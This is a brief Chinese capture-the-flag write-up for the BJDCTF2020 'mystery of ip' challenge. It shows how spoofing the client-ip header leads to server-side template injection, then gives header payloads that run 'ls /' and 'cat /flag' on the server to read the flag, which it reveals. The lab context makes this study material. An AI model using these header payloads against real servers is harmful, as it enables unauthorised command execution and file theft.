[BJDCTF2020]The mystery of ip

启动靶机，点击flag，出现我的IP地址

在 http头添加 client-ip: 1.1.1.1      发现可以更改返回的ip

尝试  client-ip: 1.1.1.1;{7*7}        返回49，说明存在服务器端模板注入SSTI 

（其实还尝试一下xss，发现也存在。但不知道怎么利用）

client-ip: 1.1.1.1;{system("ls  /")}       在根目录发现了 flag

client-ip: 1.1.1.1;{system("cat  /flag")} 

找到了flag{1846df37-567f-4f01-8b77-a091ce7a3356}